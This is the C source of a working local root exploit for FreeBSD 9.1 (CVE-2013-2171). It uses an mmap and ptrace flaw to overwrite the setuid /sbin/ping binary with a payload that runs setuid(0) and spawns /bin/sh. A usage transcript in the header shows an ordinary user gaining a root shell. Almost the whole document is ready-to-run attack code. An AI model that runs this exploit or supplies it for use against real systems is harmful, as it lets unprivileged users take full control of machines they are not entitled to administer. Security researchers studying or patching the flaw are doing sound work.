FreeBSD privilege escalation CVE-2013-2171 exploit

FreeBSD-SA-13-06-mmap.c

/**
 * FreeBSD privilege escalation CVE-2013-2171 (credits Konstantin Belousov & Alan Cox)
 *
 * tested on FreeBSD 9.1
 * ref: http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc
 *
 * @_hugsy_
 *
 * Syntax : 
 $ id
 uid=1001(user) gid=1001(user) groups=1001(user)
 $ gcc -Wall ./mmap.c && ./a.out
 [+] Saved old '/sbin/ping'
 [+] Using mmap-ed area at 0x281a4000
 [+] Attached to 3404
 [+] Copied 4917 bytes of payload to '/sbin/ping'
 [+] Triggering payload
 # id
 uid=0(root) gid=0(wheel) egid=1001(user) groups=1001(user),0(wheel)
 *
 * Note : TARGET (default /sbin/ping) will lose its SUID bit on restore, must be restored by hand
 * 
 */
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/ptrace.h>	
#include <sys/wait.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>

#define LEN    1000*getpagesize()
#define TARGET "/sbin/ping"  // will lose its SUID bit on restore, must be restored by hand

void kaboom(int pid, caddr_t addr)
{
	int nb, i, a, fd, n;
	char buf[60000] = {0,}; 
	
	a = i = 0;	
	fd = open(TARGET, O_RDONLY);
	nb = read(fd, buf, 60000);
	close(fd);
	printf("[+] Saved old '%s'\n", TARGET);
	printf("[+] Using mmap-ed area at %p\n", addr);
	
	if (ptrace(PT_ATTACH, pid, 0, 0) < 0) {
		perror("[-] ptrace(PT_ATTACH) failed");
		return;
	}
	printf("[+] Attached to %d\n", pid);
	wait(NULL);
	
	fd = open("./sc.c", O_WRONLY|O_CREAT,  S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH);
	write(fd, "#include <stdio.h>\nmain(){ char* s[]={\"/bin/sh\",NULL};setuid(0);execve(s[0],s,0); }\n",84);
	close(fd);
	if (system("gcc -o ./sc ./sc.c") != 0) {
		perror("[-] gcc");
		return;
	}
	
	fd = open("./sc", O_RDONLY);	
	while (1) {
		int a;
		int n = read(fd, &a, sizeof(int));
		if (n <= 0) 
			break;
		
		if (ptrace(PT_WRITE_D, pid, addr+i, a) < 0) {
			perror("[-] ptrace(PT_WRITE_D) failed");
			return;
		}
		
		i+=n;
	}	
	close(fd);
	printf("[+] Copied %d bytes of payload to '%s'\n", i, TARGET);
	
	printf("[+] Triggering payload\n");
	system(TARGET);
	printf("[+] Restoring '%s'\n", TARGET);
	
	for (n=0, i=0; n<nb; n++) {
		if (ptrace(PT_WRITE_D, pid, addr+n, *(buf+n)) < 0) {
			perror("[-] ptrace(PT_WRITE_D) failed");
			return;
		}		                                       
	}
	ptrace(PT_DETACH, pid, 0, 0);
	printf("[+] Done\n");
	
	return;
}

void dummy(int fd, caddr_t addr)
{
	sleep(1); 
	munmap(addr, LEN);
	close(fd);	
	return;
}

int main(int argc, char** argv, char** envp)
{
	int fd = open(TARGET, O_RDONLY);
	caddr_t addr = mmap(NULL, LEN, PROT_READ, MAP_SHARED, fd, 0);
    
	pid_t forked_pid = fork();
	switch(forked_pid) {
		case -1:
			return -1;
		case 0:
			dummy(fd, addr);
			break;
		default:
			munmap(addr, LEN);
		    close(fd);
		    
			kaboom(forked_pid, addr);
			wait(NULL);
			break;
	}

	return 0;
}